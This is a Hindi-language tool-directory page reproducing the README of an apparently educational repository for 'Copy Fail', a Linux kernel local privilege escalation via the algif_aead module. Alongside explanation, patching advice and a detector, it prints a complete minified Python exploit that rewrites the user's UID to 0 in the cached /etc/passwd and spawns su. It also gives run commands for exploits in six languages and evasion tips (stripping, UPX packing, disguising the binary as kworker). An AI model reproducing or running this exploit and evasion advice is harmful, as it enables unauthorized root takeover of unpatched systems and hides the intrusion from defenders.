Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CopyFail-Exploits-CVE-2026-31431 — # CVE-2026-31431 के लिए बहु-भाषा शैक्षिक एक्सप्लॉइट कार्यान्वयन algif_aead मॉड्यूल के माध्यम से Linux कर्नेल में स्थानीय विशेषाधिकार वृद्धि, एक सुरक्षित डिटेक्टर और CTF उपयोग मार्गदर्शन के साथ। | Kitploit
उपकरण/GitHubGitHub/shotafry/copyfail-exploits-cve-2026-31431
विशेषाधिकार वृद्धिशोषण फ्रेमवर्कशोषणCTFलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
GitHubshotafry/copyfail-exploits-cve-2026-31431

CopyFail-Exploits-CVE-2026-31431

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

# CVE-2026-31431 के लिए बहु-भाषा शैक्षिक एक्सप्लॉइट कार्यान्वयन algif_aead मॉड्यूल के माध्यम से Linux कर्नेल में स्थानीय विशेषाधिकार वृद्धि, एक सुरक्षित डिटेक्टर और CTF उपयोग मार्गदर्शन के साथ।

रिपॉजिटरी देखें
73 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-31431 — Copy Fail

शैक्षिक रिपॉजिटरी जिसमें Copy Fail एक्सप्लॉइट के कई भाषाओं में कार्यान्वयन हैं।
@shotafry द्वारा निर्मित और अनुरक्षित — क्योंकि CVE पढ़ना पर्याप्त नहीं है। इसे दोहराना ज़रूरी है।


📖 Read this in English


सूची

  • Copy Fail क्या है?
  • इसे किसने खोजा?
  • गंभीरता और CVSS
  • यह कैसे काम करता है?
  • आवश्यकताएँ
  • उपलब्ध कार्यान्वयन
  • भाषा के अनुसार उपयोग
  • सिस्टम सत्यापन
  • इसे चलाने पर वास्तव में क्या होता है?
  • CTF और परीक्षण वातावरण में उपयोग
  • ऑफस्केशन — मूक वेरिएंट
  • शमन और पैच
  • रिपॉजिटरी संरचना
  • कानूनी अस्वीकरण

Copy Fail क्या है?

Copy Fail Linux कर्नेल में एक स्थानीय विशेषाधिकार वृद्धि (LPE) भेद्यता है, जिसे CVE-2026-31431 के रूप में वर्गीकृत किया गया है। यह कर्नेल के क्रिप्टोग्राफिक सबसिस्टम को प्रभावित करता है, विशेष रूप से algif_aead मॉड्यूल जो AF_ALG सॉकेट के माध्यम से प्रमाणित एन्क्रिप्शन (AEAD) संचालन का प्रबंधन करता है।

यह दोष 2017 में authencesn मॉड्यूल के अनुकूलन में पेश किया गया था और लगभग 9 वर्षों तक अनिर्धारित रहा, जो व्यावहारिक रूप से सभी आधुनिक Linux वितरणों में मौजूद था।

Copy Fail को अन्य ऐतिहासिक LPE से अलग बनाता है:


इसे किसने खोजा?

यह भेद्यता Theori की शोध टीम के Taeyang Lee द्वारा खोजी गई थी। पूरी एक्सप्लॉइट श्रृंखला Xint Code Research टीम द्वारा विकसित की गई थी, जिसने Linux कर्नेल के crypto/ सबसिस्टम पर AI-सहायता प्राप्त विश्लेषण का उपयोग करके प्रक्रिया का दस्तावेजीकरण किया।

सार्वजनिक प्रकटीकरण में कार्यात्मक PoC, पूर्ण तकनीकी विश्लेषण और copy.fail पर दस्तावेज़ीकरण शामिल है।


गंभीरता और CVSS

root@kitploit:~
CVE:       CVE-2026-31431
CVSS:      7.8 — उच्च
वेक्टर:    स्थानीय
प्रभाव:    पूर्ण विशेषाधिकार वृद्धि (root)
डिस्ट्रोस: सभी Linux वितरण जिनमें कर्नेल >= 2017 बिना पैच के

CVSS 7.8 है और यह गंभीर (9+) तक नहीं पहुँचता केवल इसलिए क्योंकि इसके लिए पहले से स्थानीय पहुँच की आवश्यकता होती है — हमलावर के पास पहले से ही सिस्टम पर एक सत्र होना चाहिए। क्लाउड वातावरण और Docker कंटेनरों में, यह आवश्यकता जितनी लगती है उससे कहीं अधिक आसानी से पूरी होती है।


यह कैसे काम करता है?

कर्नेल की page cache

Linux कर्नेल हाल ही में पढ़ी गई फ़ाइलों को RAM में संग्रहीत करता है। इसे page cache कहा जाता है। जब कोई प्रक्रिया /etc/passwd पढ़ती है, तो कर्नेल डिस्क पर नहीं जाता — वह RAM में मौजूद प्रति परोसता है। यह तेज़ है, लेकिन एक हमले की सतह बनाता है: यदि आप डिस्क को छुए बिना RAM में उस प्रति को संशोधित कर सकते हैं, तो सिस्टम नकली डेटा देखेगा।

algif_aead में बग

algif_aead मॉड्यूल AF_ALG सॉकेट के माध्यम से उपयोगकर्ता स्थान से AEAD संचालन करने की अनुमति देता है। बग 2017 में पेश किए गए अनुकूलन में है: जब किसी फ़ाइल के पृष्ठों को सॉकेट में पास करने के लिए splice() का उपयोग किया जाता है, तो page cache के वे पृष्ठ क्रिप्टोग्राफिक ऑपरेशन की गंतव्य (लिखने योग्य) स्कैटरलिस्ट में समाप्त हो जाते हैं।

परिणाम: कोई भी विशेषाधिकार-रहित उपयोगकर्ता किसी भी फ़ाइल में 4 नियंत्रित बाइट्स लिख सकता है जिसे वह पढ़ सकता है, बिना डिस्क को छुए।

एक्सप्लॉइटेशन प्रवाह

root@kitploit:~
विशेषाधिकार-रहित उपयोगकर्ता
        │
        ▼
  AF_ALG सॉकेट खोलता है (authencesn)
        │
        ▼
  sendmsg() — seqno_lo में हमारे 4 बाइट्स के साथ AEAD पैरामीटर
        │
        ▼
  splice() — फ़ाइल → pipe → socket op
  [BUG] फ़ाइल की page cache गंतव्य scatterlist में रह जाती है
        │
        ▼
  recv() AEAD ऑपरेशन ट्रिगर करता है
  प्रमाणीकरण विफल होता है (EBADMSG) लेकिन scratch-write पहले ही हो चुका होता है
        │
        ▼
  /etc/passwd (page cache) अब कहता है: उपयोगकर्ता → UID 0
        │
        ▼
  su <उपयोगकर्ता> → PAM वास्तविक पासवर्ड सत्यापित करता है → setuid(0) → ROOT

सरल उपमा

कल्पना करें कि कर्नेल के पास महल का रजिस्टर है (/etc/passwd)। Copy Fail ऐसा है जैसे यह खोजना कि यदि आप महल की जादू कार्यशाला को एक बहुत विशिष्ट क्रम में खोलते हैं, तो रजिस्टर गलती से आपकी कार्य मेज पर रह जाता है — और आप अपने पद को "साधारण सैनिक" से "राजा" में एक कलम से बदल सकते हैं। अभिलेखपाल (PAM) आपका पासवर्ड जाँचता है लेकिन मूल रजिस्टर की जाँच नहीं करता, केवल आपके सामने मौजूद प्रति की। आप राजा हैं।

इसे चलाने पर वास्तव में क्या होता है?

passwd वास्तविक समय में बदल रहा है

उपलब्ध कार्यान्वयन


आवश्यकताएँ

लक्ष्य सिस्टम की

  • Linux कर्नेल >= ~2017 बिना CVE-2026-31431 के पैच के
  • algif_aead मॉड्यूल उपलब्ध और लोड करने योग्य
  • 4 अंकों का UID (1000–9999) — सभी डिस्ट्रोस में मानक

त्वरित सत्यापन

इसे वास्तव में छोड़ा जा सकता है और सीधे किसी एक एक्सप्लॉइट का परीक्षण किया जा सकता है, लेकिन यह भी मान्य है यदि हम उन्हें अपलोड या बनाने का जोखिम नहीं लेना चाहते और केवल देखना चाहते हैं कि यह काम करता है या नहीं, लेकिन एक्सप्लॉइट्स में यह जाँचने का अपना कार्य है कि संबंधित सिस्टम भेद्य है या नहीं।

root@kitploit:~
# कर्नेल संस्करण देखें
uname -a

# जाँचें कि एल्गोरिथ्म उपलब्ध है या नहीं
grep -i authencesn /proc/crypto

# जाँचें कि मॉड्यूल लोड है या नहीं
lsmod | grep alg

यदि grep -i authencesn /proc/crypto authencesn(hmac(sha256),cbc(aes)) लौटाता है, तो सिस्टम भेद्य है।

भाषा के अनुसार


उपलब्ध कार्यान्वयन

इस रिपॉजिटरी में 6 भाषाओं में लागू एक्सप्लॉइट है, सभी कार्यात्मक रूप से समतुल्य हैं, स्पेनिश में शैक्षिक टिप्पणियों के साथ।

root@kitploit:~
copy_fail_exploit.c      → C         — स्थिर बाइनरी, शून्य निर्भरताएँ
copy_fail_exploit.py     → Python    — अधिक पठनीय, सीखने के लिए आदर्श
copy_fail_exploit.rs     → Rust      — विडंबना: "सुरक्षित" भाषा कर्नेल का शोषण करती है
copy_fail_exploit.go     → Go        — स्थिर बाइनरी, अत्यधिक पोर्टेबल
copy_fail_exploit.rb     → Ruby      — Rails सर्वरों पर सर्वव्यापी
copy_fail_exploit.pl     → Perl      — सबसे मूक, हर Linux में मौजूद
test_cve_2026_31431.py   → डिटेक्टर  — बिना कुछ शोषण किए भेद्यता सत्यापित करता है

भाषा के अनुसार उपयोग

डिटेक्टर (हमेशा पहले यह)

root@kitploit:~
python3 test_cve_2026_31431.py
  • Exit 0 → भेद्य नहीं
  • Exit 2 → भेद्य
  • Exit 1 → परीक्षण में त्रुटि

C

root@kitploit:~
# संकलन
gcc copy_fail_exploit.c -o copy_fail_c

# Dry-run (बाहर निकलते समय साफ करता है, कोई निशान नहीं छोड़ता)
./copy_fail_c

# पूर्ण एक्सप्लॉइट
./copy_fail_c --shell

Python

root@kitploit:~
# Dry-run
python3 copy_fail_exploit.py

# पूर्ण एक्सप्लॉइट
python3 copy_fail_exploit.py --shell

Rust

root@kitploit:~
# संकलन
rustc copy_fail_exploit.rs -o copy_fail_rs

# Dry-run
./copy_fail_rs

# पूर्ण एक्सप्लॉइट
./copy_fail_rs --shell

Go

root@kitploit:~
# संकलन
go build -o copy_fail_go copy_fail_exploit.go

# Dry-run
./copy_fail_go

# पूर्ण एक्सप्लॉइट
./copy_fail_go --shell

Ruby

root@kitploit:~
# Dry-run
ruby copy_fail_exploit.rb

# पूर्ण एक्सप्लॉइट
ruby copy_fail_exploit.rb --shell

Perl

root@kitploit:~
# Dry-run
perl copy_fail_exploit.pl

# पूर्ण एक्सप्लॉइट
perl copy_fail_exploit.pl --shell

भाषाओं की स्थापना (यदि आपके पास नहीं हैं)

root@kitploit:~
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env

# Go
apt install golang-go

# Ruby (आमतौर पर Kali में पहले से स्थापित)
apt install ruby

# Perl (व्यावहारिक रूप से हमेशा मौजूद)
perl --version

सिस्टम सत्यापन

एक्सप्लॉइट लॉन्च करने के बाद (su से पहले), आप page cache में परिवर्तन को दृश्य रूप से सत्यापित कर सकते हैं:

root@kitploit:~
# टर्मिनल 1: वास्तविक समय में निगरानी
watch -n 0.5 'grep tuusuario /etc/passwd'

# टर्मिनल 2: एक्सप्लॉइट लॉन्च करें
python3 copy_fail_exploit.py --shell

आप देखेंगे कि UID फ़ील्ड वास्तविक समय में 1000 से 0000 में कैसे बदलता है। su के बाद:

root@kitploit:~
id
# uid=0(root) gid=0(root) groups=0(root)

बिना रिबूट किए साफ करने के लिए (root शेल से):

root@kitploit:~
echo 3 > /proc/sys/vm/drop_caches

इसे चलाने पर वास्तव में क्या होता है?

root@kitploit:~
[*] CVE-2026-31431 LPE  usuario=shotafry  uid=1000
[*] /etc/passwd: usuario 'shotafry' — campo UID en offset 3118 = '1000'
[*] Aplicando write4: '1000' -> '0000' en la page cache...
[+] Page cache ahora muestra UID 0 en offset 3118
[+] /etc/passwd (page cache) ahora lista a shotafry como UID 0
[+] Ejecuta: su shotafry
[+] Introduce tu contraseña. su hará setuid(0) → shell root.

डिस्क कभी संशोधित नहीं होती। एक रिबूट या drop_caches सब कुछ मूल स्थिति में बहाल कर देता है।


CTF और परीक्षण वातावरण में उपयोग

Copy Fail किसी भी CTF या Linux privesc प्रयोगशाला में प्रासंगिक है जहाँ कर्नेल पैच नहीं किया गया है।

CTF के लिए विचार

  • पहले कर्नेल सत्यापित करें एक्सप्लॉइट का प्रयास करने से पहले डिटेक्टर स्क्रिप्ट के साथ
  • Dry-run कोई निशान नहीं छोड़ता — सिस्टम को तोड़े बिना भेद्यता की पुष्टि करने के लिए इसका उपयोग करें
  • algif_aead मॉड्यूल hardened वातावरण में निष्क्रिय हो सकता है — यदि डिटेक्टर AF_ALG चरण में विफल हो जाता है, तो दूसरा वेक्टर खोजें
  • seccomp प्रोफाइल कुछ कंटेनरों में आवश्यक syscalls को ब्लॉक कर सकते हैं — उस स्थिति में एक्सप्लॉइट काम नहीं करता भले ही कर्नेल भेद्य हो

CTF के लिए अनुशंसित प्रवाह

root@kitploit:~
# 1. कर्नेल जाँचें
uname -a

# 2. डिटेक्टर
python3 test_cve_2026_31431.py

# 3. यदि भेद्य है, एक्सप्लॉइट
python3 copy_fail_exploit.py --shell

# 4. बाद में साफ करें
echo 3 > /proc/sys/vm/drop_caches

ऑफस्केशन — मूक वेरिएंट

इस रिपॉजिटरी के कार्यान्वयन शैक्षिक डिज़ाइन द्वारा टिप्पणी किए गए और वाचाल हैं। वास्तविक पेंटेस्टिंग संदर्भ में, आप अधिक मूक संस्करण चाहेंगे।

ऑफस्केशन सिद्धांत

एक्सप्लॉइट अपने मूल में 5 syscalls हैं: socket, bind, setsockopt, sendmsg, splice। बाकी सब कुछ कॉस्मेटिक है। एक मूक संस्करण सभी आउटपुट हटा देता है और कोड को न्यूनतम कार्यात्मक तक कम कर देता है।

उदाहरण — Python मिनिफाइड

root@kitploit:~
# बिना आउटपुट का कॉम्पैक्ट संस्करण — समान कार्यक्षमता, कम पहचान सतह
import os, socket, struct, pwd

def w4(p, o, b):
    f = os.open(p, 0); os.read(f, 4096)
    m = socket.socket(38, 5, 0)
    m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
    op, _ = m.accept()
    aad = b"\x00\x00\x00\x00" + b
    op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
    pr, pw = os.pipe()
    os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
    try: op.recv(64)
    except: pass
    [os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]

u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])

⚠️ नोट: एंटीवायरस और EDR ऑफस्केशन पैटर्न का पता लगाते हैं (संपीड़ित imports, एक-वर्ण फ़ंक्शन नाम, zlib+hex श्रृंखला)। स्थिर रूप से संकलित C बाइनरी निगरानी वाले वातावरण में सबसे मूक विकल्प बनी हुई है।

अतिरिक्त चोरी तकनीकें

  • strip के साथ C बाइनरी: gcc exploit.c -o exploit && strip exploit — डीबग प्रतीकों को हटाता है
  • UPX: upx --best exploit — बाइनरी को संपीड़ित करता है, इसका हस्ताक्षर बदलता है
  • बाइनरी का नाम बदलें: इसे kworker या systemd-helper कहें ताकि ps में अनदेखा रहे

शमन और पैच

अंतिम समाधान

root@kitploit:~
# Debian/Ubuntu/Kali
apt update && apt upgrade

# RHEL/CentOS/Fedora
dnf update

# Arch
pacman -Syu

आपातकालीन शमन (बिना रिबूट)

यदि आप तुरंत पैच नहीं कर सकते, तो भेद्य मॉड्यूल को निष्क्रिय करें:

root@kitploit:~
# मॉड्यूल निष्क्रिय करें
rmmod algif_aead 2>/dev/null

# भविष्य में इसे लोड होने से रोकें
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf

सत्यापित करें कि आप पैच किए गए हैं

root@kitploit:~
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.

Docker वातावरण के लिए

पैच होस्ट कर्नेल पर लागू होना चाहिए — कंटेनर कर्नेल साझा करते हैं और इस भेद्यता से अलग नहीं हैं। केवल कंटेनर इमेज को अपडेट करना किसी भी चीज़ से रक्षा नहीं करता।


रिपॉजिटरी संरचना

root@kitploit:~
CVE-2026-31431-Copy-Fail/
├── README.md                    ← यह फ़ाइल (ES)
├── README_ENGLISH.md            ← अंग्रेज़ी संस्करण
├── copy_fail_exploit.c          ← C में एक्सप्लॉइट
├── copy_fail_exploit.py         ← Python में एक्सप्लॉइट
├── copy_fail_exploit.rs         ← Rust में एक्सप्लॉइट
├── copy_fail_exploit.go         ← Go में एक्सप्लॉइट
├── copy_fail_exploit.rb         ← Ruby में एक्सप्लॉइट
├── copy_fail_exploit.pl         ← Perl में एक्सप्लॉइट
├── test_cve_2026_31431.py       ← डिटेक्टर (सुरक्षित, कुछ भी संशोधित नहीं करता)
└── assets/
    ├── Infografia.png           ← एक्सप्लॉइट की इन्फोग्राफिक
    ├── Exploit en C.png         ← C एक्सप्लॉइट की कार्रवाई में कैप्चर
    └── passwd.png               ← भेद्य सिस्टम पर डिटेक्टर का आउटपुट

[ shotafry note ]

जबकि हर कोई इस CVE को AI-जनित पैराग्राफ और आधिकारिक रिपॉजिटरी के लिंक के साथ प्रकाशित कर रहा था, मैंने पूरा दिन इसे वास्तव में अध्ययन करने में बिताया: कर्नेल कोड पढ़ना, page cache को समझना, प्रयोगशाला में एक्सप्लॉइट को दोहराना, और फिर इसे 6 अलग-अलग भाषाओं में पोर्ट करना ताकि यह समझ सकूँ कि प्रत्येक परत में वास्तव में क्या हो रहा है।

Rust संस्करण मेरा पसंदीदा है। आप स्मृति सुरक्षा के प्रति सबसे अधिक जुनूनी भाषा का उपयोग करके C में लिखे कर्नेल में एक दोष का शोषण करते हैं। विडंबना खुद बोलती है।

यह रिपॉजिटरी इसलिए मौजूद है क्योंकि मेरा मानना है कि एक सुरक्षा पेशेवर और केवल पोस्ट साझा करने वाले व्यक्ति के बीच का अंतर यह है कि क्या आपने वास्तव में बैठकर चीज़ों को दोहराया है।


संदर्भ

  • copy.fail — भेद्यता की आधिकारिक वेबसाइट
  • NVD CVE-2026-31431
  • मूल कर्नेल कमिट (2017) — authencesn / algif_aead मॉड्यूल

कानूनी अस्वीकरण

यह रिपॉजिटरी विशेष रूप से शैक्षिक उपयोग, सुरक्षा अनुसंधान और स्वयं के सिस्टम या लिखित स्पष्ट प्राधिकरण वाले सिस्टम पर परीक्षण के लिए है।

बिना प्राधिकरण के सिस्टम के विरुद्ध इन उपकरणों का उपयोग अधिकांश क्षेत्राधिकारों में अवैध है। लेखक इस सामग्री के दुरुपयोग के लिए ज़िम्मेदार नहीं है।

केवल उसी पर परीक्षण करें जो आपका है या जिसे आपके पास ऑडिट करने की अनुमति है।


जिज्ञासा, प्रयोगशाला और बहुत सारी कॉफी, या ठीक से 0.0 बियर के साथ बनाया गया।
@shotafry @BrayLozano

टूल डाउनलोड करें
विशेषताCopy Failसामान्य LPE
रेस कंडीशन की आवश्यकता❌ नहीं✅ हाँ
कर्नेल के विशिष्ट ऑफसेट की आवश्यकता❌ नहीं✅ हाँ
सभी डिस्ट्रोस पर कार्यात्मक✅ हाँ❌ आमतौर पर नहीं
विश्वसनीयता100% नियतात्मकपरिवर्तनशील
डिस्क को संशोधित करता है❌ नहीं (केवल RAM)निर्भर करता है
भाषालक्ष्य पर आवश्यकतापूर्व संकलन
Cकोई नहीं (स्थिर बाइनरी)संकलन मशीन पर gcc
PythonPython 3.10+नहीं
Rustकोई नहीं (स्थिर बाइनरी)संकलन मशीन पर rustc
Goकोई नहीं (स्थिर बाइनरी)संकलन मशीन पर go
RubyRuby + gem fiddle (डिफ़ॉल्ट रूप से शामिल)नहीं
PerlPerl 5 (व्यावहारिक रूप से हर Linux में शामिल)नहीं